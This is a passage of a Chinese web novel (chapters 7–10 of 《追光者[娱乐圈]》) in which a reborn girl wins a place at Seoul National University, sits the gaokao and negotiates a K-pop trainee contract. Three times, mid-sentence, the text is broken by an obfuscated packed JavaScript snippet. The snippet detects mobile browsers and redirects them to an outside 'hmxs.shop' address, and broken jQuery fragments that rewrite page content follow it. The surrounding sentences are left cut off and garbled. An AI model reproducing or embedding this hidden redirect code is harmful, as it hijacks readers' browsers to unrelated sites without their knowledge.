《追光者[娱乐圈]》 7. 第 7 章 接下来两天文槿过得充实而规律,在酒店看看书或者找家琴房练几个小时保持手感,心情的平和稳定的不像话。 也会带家人出门走一走,去首尔大学踩点熟悉路线和考试地点,逛一逛国立中央博物馆,到新沙洞林荫大道散步,尽量不让他们感到无聊。 因为离首尔大学近,酒店内住着不少同样参加考试的国际生,没见谁有文家人的松弛感,也是很有意思了。 考试分两天进行,头天上午是笔试,第二天才是面试。考虑到入乡随俗,参加笔试时素颜朝天的文槿,难得在面试那天涂了点口红。 世上的确存在不化妆比化妆更好看的人,总不能让她扮丑吧。 柳思珍看不过去,又给女儿描了描眉。 五月初的韩国气温不算高,早晨只有十几度。衣服是柳思珍给准备的,浅色牛仔裤加白衬衣的组合,款式简单但质感和剪裁一流,一看就不是便宜的大众货。 外套是前一天出去逛街时在香奶奶店里买的粗花软呢短外套,金银线交织,色彩华丽,一般人难以驾驭,穿到文槿身上却浑然天成,仿佛量身定制般好看极了,柳思珍当场拍板买下。 负担不起女儿的留学费用还买不起一套衣服吗? 世上的人呐,势利眼偏多,多少人是先敬罗衣后敬人。自己捧在手心长大的女孩,不希望她被任何人轻视。 能力有限就尽力而为,能做一点是一点。也不枉母女一场,擅自把她带到这人世间。 华国的高中生和韩国大不同,学校对发型和服装有要求,染发化妆绝对不可以。 文槿习惯把头发扎得一根不剩,今天突然要披着头发,总觉得脸颊痒痒的,哪哪都不对劲儿。 “乖啊,至少今天面试得披着。” 柳思珍手巧得很,几个小发夹上头,就给文槿做好了发型。像是后世流行的花仙子编发和公主头的结合体,明媚俏丽又显得人青春有活力。 “等等,还有耳饰。” 人和衣裳够华丽了,配饰就要简约一些。柳思珍打开首饰盒,珍珠耳钉光芒流转,美得温润柔和。 装扮一新的文槿重新站在爷爷和爸爸面前时,得到两人一致好评。 “哎呀呀,不得了。我们家竟然养出一位这么华贵美丽的小公主,真是三生有幸呐。” 文爷爷的咏叹调逗得大家哈哈大笑,文槿上前抱住他的手臂,“因为有全世界最好的家人啊。” 路上不出意外被出租车司机误认为电影演员,哪怕后来说明澄清,对方还是坚持不懈的请文槿留下签名和合影。首尔大学的预备役,比演员还难得呢。 “希望我的女儿长大后,能和您一样优秀美丽。” “有您这么关爱她的父亲,一定会的。”文槿在脸颊边比耶,笑容灿烂像天边初升的太阳。 “有您这么好的父亲……”文景行阴阳怪气地模仿,小声抗议,“我不好吗?我……” 大人幼稚起来真不是盖的,文槿无奈的笑,忙不迭安慰打翻醋坛子的老父亲。 “要说谁是世上最好的父亲,自然非文景行先生莫属。生的如玉君子模样,既温柔又稳重,既细心又体贴。真羡慕我有这么好的爸爸,将来我的孩子就不一定喽~” “咳咳,”文爸爸被女儿夸张的话弄得面红耳赤,“……也、也没有这么好吧?” “我说有就有。” 文爸爸不语,嘴角比AK还难压。 真没出息,被个小孩几句话哄成傻子。 文爷爷和文妈妈瞥他一眼,非常无语,绝对不承认是嫉妒。 面试很顺利,托出众外表的福,面试官见到文槿后面容肉眼可见变得柔和。 自我介绍、作品展示、现场演奏、互动问答……无论韩语还是英文,文槿皆对答如流,展示出深厚的语言功底、乐理知识以及创作能力。 而她优雅从容、自信大方的气质也给面试官们留下深刻记忆,脸上的笑容没消失过。直到外面的人敲门提醒,才发觉留给文槿的时间所剩无几。 “太棒了,文。我已经迫不及待想在校园看到你美丽的身影,相信我,这会是我们彼此最大的幸运。”明显是东欧人的外籍女老师如是说,并在文槿离开时热情亲吻她的脸颊。 ‘Yes!’ 文槿在心里欢呼,不出意外,首尔大学作曲系的offer已是十拿九稳。 走出面试教室,一眼看到不远处望眼欲穿的父母和爷爷。文槿快步跑过去扑进妈妈怀里,笑道:“人事已尽,且待天命。” 不过她相信,这一波天命在她。 面试结果和录取通知会在一个月内通过邮件发给学生,接下来只需静心等待。此行首要任务圆满完成,文槿和长辈们轻松多了。聚在酒店房间,商量去哪里游玩以及什么时候去酱油瓶看看。 “明天吧,”文槿提议,“早点把事情落实也好放心去玩。” 第二天上午,她给名片上的星探打电话,告知下午去酱油瓶拜访的消息。 对方喜不自胜,表示可以过来接人。被文槿婉拒也不生气,只说会在公司等她,期待见面云云。 “好热情啊,韩国人蛮讲礼数的嘛。” 听到妈妈的话,文槿笑而不语。倒是爷爷说话直接,一语道破真相。 “什么礼数,有利可图罢了。资本家的嘴脸,没有价值的时候你再看呢?” “天下熙熙皆为利来,天下攘攘皆为利往。求同存异,就能成为朋友。” 暂且同行一段路的朋友也是朋友。 文槿靠着老人坐下,“爷爷,你不要担心,我心里明白呢。” 老爷子拍拍她的手,“好,槿槿长大了。” 酱油瓶公司大楼位于首尔最繁华的江南区清潭洞,外表平平无奇和普通写字楼别无二样。 文槿在楼下的咖啡馆见到那位崔星探,哇塞,不夸张的说,捡到一百万韩元也不见得有这么高兴,浑身洋溢的喜悦能飘出二里地。 “文槿xi,能在这里见到你和你的家人,我真的太高兴了!” 星探自我介绍,“两位文先生还有文妈妈,下午好。鄙人崔宏哲,为酱油瓶工作多年。以文槿xi的资质,若是加入酱油瓶,一经出道绝对红爆亚洲。” 面对如此伟大的一张脸,性格大大咧咧的崔宏哲难得拘谨,说话都变得文绉绉的。 “今天朴社长也在,我已经告知你到来的消息,他非常期待和你见面。” “还等什么呢?让长辈久等可不应该啊。” 文槿话说的俏皮,态度却谦逊。崔宏哲暗自点头,他们家社长就喜欢善良的孩子,不容易出错好拿捏。 一家人跟在崔宏哲身后进入酱油瓶大楼,考虑到老人步速不快,还会适时解说几句,双方都觉得很舒服很满意。 混娱乐圈的大多是人精,眼见一路进来负责交流说话的主要是文槿,话不算多但言之有物,而长辈对此毫无异议甚至乐见其成,崔宏哲对她的性格有了一点初步的了解。 ——这是一个非常有主见且大脑充实的女孩。 要打动她,画大饼来虚的,不行。 崔宏哲把人带到选秀组长的办公室,朴真英已经在了。见文槿走进来,里面的人有种办公室骤然明亮起来的错觉。 朴真英不由自主露出笑脸,“哇哦哇哦,这是人间会有的美貌吗?期待你的实力和脸一样出色,文槿xi。” 后面的文爷爷几人也没忽视,礼节周到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007320|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打招呼。 该说不愧是社长吗,说话真的有一手。这番话当纯粹地夸赞可以,当下马威也不算错。 文槿内心毫无波澜,甚至有点想笑,类似大人看小孩子耍花样的喜感。朴社长如今不过34岁,还没上辈子的她大呢,很难产生敬畏感的。 如果她真的只有17岁,听完这话一定会紧张忐忑。而重压之下,最能看出人的内在品性。 考核很快开始,发现文槿是素颜,几位负责考核的老师直呼不可能。 “天呐!” “我不是在做梦吧?” “救命,芭比公主从电影里跑出来了!” 用词之夸张,文槿觉得自己快听不懂韩语了。最后是朴真英发话,才让大家安静下来。 “让我的工作人员激动到忘记形象,你是第一个,文槿xi。” 他笑得无奈,在艺人经纪公司工作的人见过的明星艺人不知凡几,最清楚他们精美包装下的样子,早就祛魅了,没想到也会有单纯被美色所惑的一天。 “好了,回归正题,来唱首歌吧。” 文槿半点不虚,也不要求伴奏啥的,张嘴就来。 “Though we gotta say goodbye for the summer……”[1] 鉴于目前的场合,她唱的是一首经典的英文老歌——《sealed with a kiss》。它有一个非常好听的中文译名,《以吻封缄》,发行于上个世纪六十年代。 在波士顿留学期间,文槿欣赏分析过的歌曲不计其数。唯有这一首独得她的偏爱,曾改编过好几个版本。 明明是诉说别离的歌,却极富浪漫色彩,精准戳中一位生性浪漫敏感的华国女孩的心。 随着演唱进行,朴真英的神色越来越放松,手指情不自禁地随节拍跃动。 高音不多但听得出松弛有力,中音醇厚温柔非常治愈,低音如泣如诉质感一流。许久没见过声音条件这么好的苗子了,简直是老天爷追着喂饭吃。 世界真是不公平啊,有的人不仅长得万中无一,唱的更是万中无一。 朴真英暗自感慨,已经开始思考什么样的合约既能利益最大化又能留住人。 其实在度过变声期之前,文槿也没想到自己的嗓音能这么棒。 上辈子为了对抗不存在的父母之命,她故意在变声期大吼大叫扮演咆哮君,食物上冰的、辣的、酸的,什么能刺激声带吃什么,然后如愿以偿得到一副再也唱不了黄梅戏的沙哑嗓音。 后来车祸重伤在ICU躺了许久,插管进一步损害了声带,许多原本给自己准备的歌后来不得不另寻主人。 总不能让它们躺在抽屉里吃灰啊,文槿舍不得。 重来一次,她把嗓子和眼睛看得格外重。小心养护之下,收获远超预期。 “……I''ll send you all my love Every day in a letter Sealed with a kiss.”[2] 余音犹在,练习室内掌声如雷。文槿下意识露出笑容,姿态优雅的朝众人鞠躬,一派大家风范。 “这孩子,台风得好成什么样啊。”有人低声感叹。 朴真英听着心里不是滋味,这意味着招揽难度的飙升和招揽成本的增加。轮到他评价时,依旧选择实话实说。 “我觉得能教你的东西不多,嗓音非常优秀,唱功也很成熟,直接作为歌手登台也没问题。所以,”他露出期待的表情,“能让我看看你的舞蹈吗?” 从进门到现在,文槿第一次露出不太自信的表情,“跳得不太好,我都是自学的。” 8. 第 8 章 灵台县是个不知道多少线的小县城,二十一世纪初,论面积、人口、经济没一个数得上号。既没有卖钢琴的乐器行,也没有教街舞的兴趣班。 文槿要学习文化课和语言,还要准备申请材料加赚钱,没条件也没时间去省会找专业的舞蹈班学习,只能选择性的将重点放在最容易看到成效的唱功上。 在这方面,她就是自己最好的老师。 至于舞蹈,跟着租来的碟片学过几支成品舞算学过吗? 得益于从小进行的戏曲基本功练习和成千上万次重复,文槿的舞蹈水平并不像她想的那样糟糕。只是她不精通此道,看不出高低好坏罢了。 说明情况后,工作人员为文槿播放指定伴奏。 音乐响起,她脸上的忐忑立马消失,挂上灿烂明媚的笑。 朴真英暗赞,冲这个表情管理能力,哪怕文槿跳的像一坨屎,他也愿意给个及格分。 结果比预料中好,不谈其他,表演的这一只舞可谓挥洒自如。节奏和韵律仿佛融入身体,做起动作来不慌不忙从容自若。即使动作不标准,依然让人移不开视线。 事实上有那张脸在,能有几个人注意到她动作不标准呢? 一曲跳完,文槿脸不红气不喘,一点汗没出,静静等待点评。 “我在想,”朴真英故作苦恼地笑,“如果没有收下你,我会后悔多久?” 话虽如此,对于如何安排文槿他其实毫无头绪——这姑娘优秀的太突出了,无论身高、外形还是唱功。 酱油瓶确实有女团计划,把人放进女团…… 朴真英摇头,不利于队内和谐,也是对文槿唱功的埋没。算了,那是以后需要思考的事,先把人收入囊中再说。 “家长以及文槿xi,或许可以移步我的办公室,聊聊签约的事?” 签约自然不可能现在就签,等收到首尔大学的offer,文槿有把握给自己争取更好的待遇,但这话不能大庭广众下说,更不能直说。 “好的,辛苦您了。” 她点点头,给父母和爷爷转达完朴真英的话,跟在对方身后往楼上去。作为发掘文槿的星探,崔宏哲也跟着一起。 进入办公室,文槿率先朝朴真英鞠了一躬,一脸腼腆的放大招。 “朴先生,其实我这次来首尔主要是为了参加大学的入学面试。意外遇到崔先生,加上对成为歌手感兴趣,才会到贵公司来。” 朴真英精神一震,“哦,竟然是准大学生吗?不知道是哪所学校?” 文槿挠挠脸,表情不变,“是首尔大学。” 首!尔!大!学! 四个字仿佛大山从天而降,压得朴真英和崔宏哲几乎喘不过气。 天啦撸,这是什么运气?随手一拦,拦到首尔大学的准入生? “……能说说是什么专业吗?”朴真英试图做最后挣扎。 “作曲系。” OK,悬着的心彻底死了,这一波不放血是不行了。 “所以你的意思是……” “很抱歉今天耽误您和大家的时间,但我暂时不能签约。面试结果会在一个月内出来,我必须等到通知落实学业问题再考虑签约成为练习生的事。” 文槿的说辞非常诚恳,朴真英能够理解。 一个能上首尔大学的好苗子,相比成为偶像练习生,升学才是看得见的光明未来,是现阶段的头等大事。换做是他的孩子,他也不会允许对方匆忙做决定。 “我明白了,文槿xi。如果你愿意留下,酱油瓶愿意给出最大的诚意。我会让人把意向合同发到你的邮箱,先看一看,具体的可以下次再谈。” 朴真英展示出一社之长的风度,打趣道:“留个联系方式如何?放心,不会让我的员工骚扰你的。” 文槿忍俊不禁,“能和您这样的乐坛前辈交流,我高兴还来不及呢。” 留下电话和邮箱,继续寒暄几句,一家四口被崔宏哲送出门。 “去哪儿?我开车送你们?” “谢谢,但我们不该继续麻烦您。”文槿再次婉拒。 出租车逐渐远去,崔宏哲的身影被远远甩在身后,隐身许久的家长们七嘴八舌地说开了。 文爷爷:“槿槿,你是怎么想的?” 文槿将自己的想法托盘道出,“上大学的事没有落实,现在签约意外太多。我没想过放弃高考,双重保险嘛,即使错过首尔大学的offer也不至于无书可读。” 艺考早就高分通过,文化课成绩也保持在上游水平,考一所好的音乐学院不成问题。只是那样就要再等一等,等将来拿到交换生名额或者和学校商量好,再转战首尔。 从始至终,文槿的选择里都没有放弃学业这个选项。 或许这就是鄂省人民的执念,好好读书,出人头地。 即使退一万步,全世界都存在学历崇拜,亚洲尤甚。无论将来在哪里发展,漂亮的学历就是第一块敲门砖。 不仅如此,同学,老师,校友,是学校赋予每一位学子的天然人脉。准入门槛越高的学校高质量人才越多,白白放弃太可惜,是半夜都要坐起来甩自己两耳光的程度。 以上就是文槿针对国内外两种求学模式,设计的不同发展计划。 早晚要和酱油瓶签约,但她不想过于仓促主动,将来若有变故再想改变会很被动。主动权这种东西,条件允许时当然要牢牢掌握在自己手里。 听她细细说完原由,长辈们恍然大悟,也更放心了。 孩子在自己羽翼下时,父母希望他天真纯粹快乐无忧;出去闯荡则不然,只要不存害人之心,越有心机城府越好。 “行,你心里有数就好。事情过去了就不要想了,想吃什么玩什么和爷爷说,今晚全场爷爷请客。” “要吃大餐!要去XXX玩!”文槿嘿嘿笑,“我要拍好多好多照片,等回去和小哥炫耀,羡慕死他。” 和方才侃侃而谈的样子截然不同,现在的她才有点少年人的模样。 文爷爷哈哈大笑,“好好好,让那小子羡慕去。” 灵台一中,目标是医科大学正苦哈哈备考做最后冲刺的文襄同学突然背后发凉。 嗯?有刁民想害朕?还是,槿槿想我了? 少年一脸荡漾,低头看见桌上才写一半的生物习题集,汪的一声哭出来。 呜~~~想妹妹,想出国玩。 既然决定参加高考,文槿没在首尔过多逗留,酱油瓶考核的第三天上午,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007321|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人乘飞机回国。临走前,她在首尔最大的免税店给家里人各挑了一份礼物。 考虑到目前的年龄以及学生身份,贵重礼物长辈不会收,哪怕大家知道她能自己挣钱。最后选择的东西价格不高,但保证每一件都是大家用得上、喜欢的,心意远高于价值。 “有些东西是天生的,有就是有,没有就是没有。瞧咱们槿槿情商多高,做人多么大方得体。” 作为最小的孙女,文槿在爷爷眼里哪哪都好,干啥都能夸几句。 “都是爷爷教得好。”文槿立马恭维上了,“比起价值不菲的礼物,被人时刻惦记的那份心意才是最贵重、最值得珍惜的东西。” “没错,做人贵在真诚,爷爷跟你说啊……” 看着越聊越火热的祖孙俩,文景行和柳思珍相视一笑,见怪不怪的拎起行李。 “走吧,登机了。” 回家的四人受到大家热烈欢迎,尤其是派发礼物的文槿,被奶奶、伯娘们围在中间嘘寒问暖。 这个说瘦了,那个说肯定是国外的东西不好吃。这个说来我家吃饭,那个说你的手艺不如我还是来我家。香饽饽似的,格外抢手。 没人询问考试结果,有结果也不会瞒着,不说肯定是没有。哪怕是对结果最好奇的大伯也选择私下询问自家四弟,没有在文槿面前提起一个字。 在家休整一夜,第二天文槿就去了学校。课间在走廊上看到妹妹,文襄差点把眼睛瞪出眼眶。 “你怎么来学校了?” 文襄快步迎上去,超过180公分的大高个十分引人瞩目。 说起这个文槿就郁闷,作为孙子辈中唯二继承爷爷北方人高个基因的人,前世的文襄和文槿一个187cm,一个176cm,在鄂省这样的中部省份,绝对是鹤立鸡群的存在。 结果不知道是不是练习强度太大的原因,明明文襄的身高还和上辈子一样,文槿却缩、水、了。晴天霹雳,吓得她赶紧调整舞蹈训练时长。 “来和同学们一起复习啊,比较有学习氛围。”文槿笑得狡黠,轻声道:“哥,我给你从韩国带了礼物哦,想不想知道是什么?” 文襄失笑,放松的靠在身后的栏杆上,无比配合的问:“是什么?” “嘿嘿,我不告诉你。”说完,头也不回的跑进教室。 “……幼不幼稚?” 文襄撇嘴,如果他没有笑得那么灿烂,会让人更相信他心情郁闷。 距离高考还有不到三十天,兄妹俩每天同进同出,早上五点出门晚上十一点回家。在保持状态的同时,文槿偶尔会故意闹一闹文襄,调节他过于紧绷的状态和心情。 过去三年他的努力文槿都看在眼里,不需要超常只要正常发挥,一定能进入梦想的医科大学。 六月七日清晨,闹钟响起的瞬间,兄妹俩立刻从床上弹起来。洗漱吃饭,检查准考证和答题工具,被今天特意请假的文景行送往考场。 两人不在一间教室,临分开前文槿捶了捶哥哥的肩膀,“一起加油吧小哥,我们可以的。” 文襄双手插兜,文具袋夹在胳膊下,潇洒的甩出一句话,“天下风云出我辈,舍我其谁。” “……” 不耍帅会死吗? 9. 第 9 章 两天时间一晃而过,走出考场那一刻,文襄像极了刚从五指山出来的大圣,兴奋地嗷嗷叫。 远远看到他在那耍宝,文槿特意走远两步,完全不想承认两人认识。 “槿槿,暑假想去哪儿玩,哥陪你啊。” 瞥见妹妹的身影,文襄立马凑过来。胳膊往文槿肩头一搭,重的跟个秤砣似的。 “没想好,看有没有收到首尔大学的offer再说。” 基本功不是白练的,文槿不摇不晃稳如泰山,拖着一百多斤的少年往前走。 一月之期已过,但她还没有查看过邮箱,为的是不影响高考状态,哪怕她自认久经考验心态稳如老狗。 “那还等什么?走,现在就去查。” 文襄拖着她要去网吧,没到考场门口就被过来接孩子的文景行截住。 “你俩上哪儿去?”文爸爸一脸不解,“家里等着吃饭呢,大餐。” 十八岁的少年听不得和吃有关的话题,文襄的肚子立马咕咕叫起来。两天考试下来脑细胞死伤无数,他是真饿了。 “去网吧,小叔。”饥饿不能动摇文襄的决定,“槿槿的留学通知还没查,现在看完省得后面再跑一趟。” “哎哟,差点把这个忘了。”文爸爸一拍脑门,“不用去网吧,我有个朋友在附近开打印店,去他那里好了。” 锁好电三轮,带着两个小的直奔目的地。 礼貌地和店主叔叔打过招呼,文槿被迫不及待的爸爸小哥按坐在电脑前。两人和门神似的杵在她身后,目光炯炯瞪着电脑屏幕。 文槿:“……” 哎呀呀,不紧张也要被你们搞紧张了。 熟门熟路地登录邮箱,一封未读邮件静静躺在里面,前面的红点鲜艳刺目。 “就是这个,快,快点开看看。” 一颗圆乎乎的脑袋猛然凑到屏幕跟前,文襄激动地握紧妹妹的胳膊,嘴上不停催促。 “知道了,哥你别催我。” 文槿深吸一口气,点开邮件,一抬眼看见大大的恭喜。 OK,不必多说,录上了。 如果没录上,邮件抬头肯定是千篇一律的“我们很遗憾的通知你”这种。 文槿缓缓吐出一口气,靠在椅背上,才发现手心满是汗渍。她轻笑一声,承认自己是个俗人,做不到不以物喜不以己悲。 两位男士的头就差没伸进屏幕里去,奈何上面全是圈圈点点的外国文字,他们看不懂。见附件栏有一张图片,文襄抢过鼠标点开。 他看不懂韩语,但是看得懂文槿的名字和数字编号以及下方的年月日,说不是录取通知谁信啊。 “槿槿!”激动之下,他直接把文槿从椅子上抱了起来,“太棒了!我妹妹太棒了!” “小哥!!!” 文槿使劲拍他,脸红到脖子根。 她已经17岁了,不要像抱侄子侄女那样单手抱她好不好? 傻大个!浑身使不完的牛劲儿! 看到两人的表现,文景行还有什么不明白的,顿时喜笑颜开,乐得合不拢嘴。 “襄襄,快把你妹妹放下,别摔了。”文爸爸提醒道,忍不住找女儿再次确认,“是录取了没错吧?” 双脚得以重新落地,文槿狠狠瞪哥哥一眼,重新在电脑前坐下,把整封邮件包括图片上的文字一一翻译给他们听,确定是首尔大学作曲系的录取通知没错。 除此之外还有一个好消息,她成功拿到入学奖学金,可以减免40%的学费。 “好好好,太好了。真是天大的好消息,家里人不知道会多高兴呢。” 店主在旁边看了半天,没忍住插话,“景行,你和孩子们这是?” “咳咳,是这样的,”文爸爸揉揉脸,尽量让自己不要笑得太骄傲,“我家姑娘想去国外留学,考上了。” “哎呀,这可是大好事,什么时候请客知会一声,一定去找你喝几杯。” 文爸爸连连点头,“一定,一定。” 灵台县没有鄂省大环境那么内卷,有一点却出奇地一致——孩子学习好,家长走哪儿都有面子。 在这位叔叔的店里打印完录取通知,三人兴高采烈地回家了。电动三轮还没停稳呢,文襄仗着身高腿长先一步跳下去,喜气洋洋冲进老宅。 “爷爷,奶奶,小婶,我妹考上了!” 比文槿本人还激动。 “什么考上了?高考不是今天才结束吗?” 院子里满满当当的人,除了几个在外地工作上学的兄姐都来齐了,开口的是文襄的爸爸。 “还有什么,当然是首尔大学。” 有人搭腔,文襄立刻打开话匣滔滔不绝起来。等到文槿进门,迎接她的是无数火热的目光,差点吓得顺拐。 文槿:“……” 汗流浃背了,朋友。 “槿槿,到爷爷身边来。”文爷爷朝小孙女招手,脸庞被岁月深深浸染唯独双眼仿若点漆,格外有神,“考上了?” 文槿走到老人面前,把打印的录取通知递给他,“嗯,我考上了爷爷。” 文爷爷连说三个好,喜悦溢于言表。那笑容格外有感染力,院子里的人都笑起来。 文槿想到上辈子的一些事,少年的她聪明归聪明,倔也是真倔。不知道和谁较劲,总觉得靠自己办成大事才算是厉害。 比如说留学,原本打算拿到录取通知书再和家里人坦白,迎接他们的惊叹和赞美。 可是对一个出生小县城家资平平的少女来说,难,非常难。无论是获得申报信息,还是准备申报材料,抑或最后的面试环节,无一不需要金钱和信息的加持。 文槿自以为瞒的好,事实是真正关心孩子的家长,一个照面就能看出不对劲。加上还有文襄这个耳报神,文槿瞒着谁都不会瞒他。 笑死,根本隐瞒不了一点。 长辈们看出她的心思,默契地没有揭穿,选择维护一个小女孩奇奇怪怪的倔强。 她眼里看到的只有连年翻倍最后送到口语补习班的压岁钱,在省会工作的堂姐被“某位客户”赠送然后转赠给她的“免费”钢琴课。 看到小哥从“一个朋友”那里咨询得到的国外音乐学院介绍及申报指南,以及在最恰当的时间出现在书桌上的存折和户口本。 文槿总忍不住想,这么多破绽和巧合,当年她怎么就一点没怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16007322|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑呢?是当局者迷,还是心照不宣? 多半是后者,因为确信自己被偏爱的孩子更有肆无忌惮豁出去的勇气。 长辈们凑的钱最后没用上,因为文槿拿到了伯克利的全额奖学金。 算上在校期间获得的优绩奖学金和一些捐赠者基金,以及大学四年的创作产出,不仅没花钱还大赚一笔,成功积累日后创业的第一桶金。 话题扯远了。第三代最小的两个孩子完美结束高考,其中一个还拿到国外名校的offer,对文家来说今天是个极好的日子。 老爷子开了一坛窖藏许久的好酒,说要和儿孙们好好喝一杯以作庆祝。 文槿和文襄兄妹一个想做歌手一个志向是医生,都对酒精敬而远之。加上未满18周岁,长辈也不强求,好菜好饭管够。 一觉睡到大天亮,文槿开始跑程序。根据录取通知提交补充材料,去银行完成学费缴纳,以及绝对不能遗漏的申请单人宿舍。 敏锐的听觉和嗅觉有利有弊,很容易精神衰弱,有的选文槿自然要对自己好一点。 除此之外还有一件事——把在邮箱里躺了很久的练习生合同给专业律师看看,哪些是坑哪些还能再谈,必须心中有数。 等她忙完,文襄已经给自己估好分数。 “六百左右,上下浮动不会很大。”他看起来还算满意,“这成绩协和估计去不了,首都医科大也不错。” 在小县城里,这样的成绩何止是不错,那是非常好。 离出成绩填报志愿还有半个月,兄妹俩手头无事,心无负担地开始一场说走就走的旅行。 无论是即将成为悲催医学生的文襄,还是学业事业两把抓的文槿,2005年的夏天,将会是他们最后一个可以尽情玩耍放松的夏天。 堪比特种兵的行动力,让他们在短短半个月内足迹遍布小半个华国,回家后狠狠睡了两天才缓过神。 此时高考成绩已出,两人的成绩都是家里人帮忙查的。和估算的差不多,文襄的高考成绩是609分。首都医科大学去年在鄂省的录取分数线是五百五十多,他的志愿算是稳了。 至于文槿,综合专业成绩和文化成绩,国内的音乐学院可以任君挑选。但她已经拿到首尔大学的offer,便不打算填报国内大学。 七月底,在文襄收到大学录取通知书后,文家为两个孩子举办了热闹的升学宴。被亲戚邻里恭维的晕陶陶的文三伯和文爸爸,大手一挥给两人的路费增厚一倍。 八月初,文槿在爸爸的陪伴下再次启程前往首尔。从来没和妹妹长时间分开的文襄眼眶通红,顾及奇怪的男子汉自尊不肯哭出来。 文槿感动之余又觉得好笑,给露出傻憨憨一面的小哥哥一个大大的拥抱。 “再见,小哥。说好了,我们要在各自的顶峰见。” “……嗯。”文襄重重点头,声音哽咽。 大约是知道这一去可能许久以后才能重回故土,见到这群可亲可爱的人,离愁别绪悄然涌上心头。文槿鼻头一酸,差点落泪。 她吸吸鼻子,不敢再看红着眼的妈妈和一脸伤感的长辈们,装作若无其事地和大家挥挥手,头也不回地上车离开。 10. 第 10 章 入学报到非常顺利,在缴纳完住宿费后,文槿隔天就搬进首尔大学的国际生宿舍。 小小一间宿舍五脏俱全,单人床、书桌、衣柜,有独立的卫生间、洗澡房和还算宽敞的阳台。楼层还配有公共厨房和洗衣房,方便留学生做饭和洗烘衣物,连熨烫设备都有。 看在环境不错以及各种生活设备齐全的份上,文槿勉强原谅半年近万元的收费。 父女俩一人一个抹布,给还算干净的宿舍来一个彻底的大扫除,随后出门采买生活用品。回来的路上经过花店,文景行停下脚步给女儿买了一束向日葵。 “爸爸?”文槿一脸懵地接过花束,金灿灿的花朵衬得她格外美丽。 “祝我的女儿如此花光辉绚烂,永远保持对生活和梦想的热爱,勇敢地追求自己想要的幸福,我以你为荣。” 无措地动动脚,文槿大半张脸藏在花束后面,只露出一双坚毅的眼睛,半晌才回答:“我会的,爸爸。” 等到所有东西安置好,铺好床单被罩,宿舍看起来温馨不少。文景行拿出相机,拍了许多照片。 “妈妈还有爷爷奶奶心里惦记你,我拍些照片给他们看,让他们知道你没有吃苦受累,多少算个安慰。” 文槿配合地摆出各种pose,灿烂的笑容让人挪不开视线。 移动到公共区域时,引得路过的同学纷纷看过来。 西方人不如东方人内敛,喜欢就会大声地说出来。好几个眼眸如碧海蓝天的女孩子朝文槿竖起大拇指,用各种听得懂、听不懂的语言夸她漂亮。 文槿坦然道谢再反夸回去,落落大方惹人喜爱。 殊不知在她忙于入学报到的时候,有人已经急成热锅上的蚂蚁。 酱油瓶有明确的女团计划,两年内一定会推出女子组合。崔宏哲作为公司老人,并不想永远待在星探的位置上,试图争取成为女团的经纪人。 文槿资质非凡,若她加入公司乃至女团,作为发掘她把她带到酱油瓶的星探,崔宏哲的竞争力将大大提高。 结果呢? 三个月过去,半点消息没有。 不知道社长有没有联系文槿,不知道对方是否顺利就读首尔大学,更不知道她还会不会和公司签约。 毕竟就目前而言,酱油瓶的实力比不上司马。听说司马公司即将推出大型男团,预备成员中就有华国人,如果文槿因此被对方说服截胡…… “啊啊啊啊啊,要疯了!” 崔宏哲崩溃地把头发揉成鸡窝,往口袋补充一沓名片,准备出去逛逛,万一再碰到一个文槿那样优质的练习生呢? 他知道几率小到几乎不可能,可万一呢? 电梯抵达一楼,门“叮”地一声打开,一张日思夜想的脸出现在崔宏哲眼前。 “……”崔宏哲目瞪口呆,怔在原地无法回神。 “崔先生?崔先生?” 文槿的声音唤回他的理智,崔宏哲喜出望外,热情地迎上去,“好久不见,文先生还有文槿xi。你们今天是来……” 没让他好奇太久,文槿便给出答案:“嗯,我现在是首尔大学作曲系的新生。今天过来,是和朴社长商量签练习生合约的事。” 果然! 崔宏哲在心里大吼一声,勉强稳住情绪,帮忙按下电梯,“太好了,恭喜。还记得位置吗?要不我送你们上去?” 盛情难却,文槿和爸爸在崔宏哲的热情带领下进入朴真英的办公室。 看到尾巴一样跟进来的崔宏哲,朴真英并不惊讶,默认对方留在办公室。他不反感底下的人有野心,只要能办事不乱来,爬到什么位置全凭个人能力。 “终于又见面了,文先生还有文槿xi。” “你好,朴社长。” 文景行微微颔首,说的是中文。他是戏曲演员,稍微起个范儿气势非同小可。为了心爱的女儿,把吃饭的本领拿出来吓唬人。 “抱歉,朴社长,我父亲不会说韩语。一会儿由我充当翻译,替你们二位传达彼此的意思。” 爸爸主动唱白脸,文槿挂着腼腆柔和的笑充当红脸。 “没关系,可以理解。” 三人分坐在茶几两侧,就合同上的条款开始逐条分析和讨论,说白了就是扯皮。 